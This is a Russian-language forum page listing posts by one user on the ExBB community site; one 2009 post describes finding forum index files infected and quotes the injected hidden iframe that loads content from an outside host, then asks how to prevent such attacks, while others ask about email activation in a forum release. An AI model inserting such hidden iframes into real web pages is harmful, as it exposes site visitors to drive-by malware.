ExBB Community :: Список сообщений, автором которых является i-text

Сайт проекта ExBB

Общение объединяет!

Войдите на форум при помощи

Чат на форуме

Помощь

Поиск

Пользователи

BanList

Здравствуйте Гость ( Вход · Регистрация · Правила форума )

Забыли пароль?

ExBB Community » Список сообщений, автором которых является i-text

Страниц (2): « 1 [2]

Найдено сообщений: 18

i-text

Отправлено: 21 августа 2009 — 12:05 • Тема: Форум атакован вирусом типа HTML:Iframe-inf • Форум: Уязвимости

Ответов: 5
Просмотров: 6944

Сегодня утром захожу на свой форум... И вижу белое окно браузера.

В недоумении заглядываю на фтп и слышу голос аваста: "Внимание обнаружен вирус!". Смотрю на список файлов и действительно файл "index.php" недавно был модифицирован, открываю его в редакторе и вижу последняя часть его кода варварски удалена (с 281 по 296 строку), а за место нее стоит ненавистный iframe тег, такого типа:

CODE:

iframe src="http://f5l.at:8080/ts/in.cgi?pepsi154" width=125 height=125 style="visibility: hidden"></iframe>

. Удалил. А потом обнаружил, что это содержание внедрено практически во все "индекс" файлы форума. Пришлось чистить.

Кто может подсказать как бороться с такими атаками? Как их предотвратить? И как они вообще возможны? Как был получен доступ на запись к индекс файлам?

i-text	Отправлено: 11 июля 2009 — 17:22 • Тема: ExBB FM 1.0 RC1 • Форум: Релизы
Ответов: 273 Просмотров: 239749	electron А, ясно. Спасибо. Хотелось бы видеть эту функцию отдельной, ну да ладно

i-text

Отправлено: 11 июля 2009 — 16:16 • Тема: ExBB FM 1.0 RC1 • Форум: Релизы

Ответов: 273
Просмотров: 239749

Здравствуйте, пересмотрел всю "админку" но так и не нашел включение функции "активации по емайл" - как здесь.
У меня пользователь регистрируется: вводит свой пароль, емайл, защитный код и все: добро пожаловать! Ни какой активации по емайл. Можете подсказать в чем проблема?

Страниц (2): « 1 [2]

[Script Execution time: 0.0157] [ ]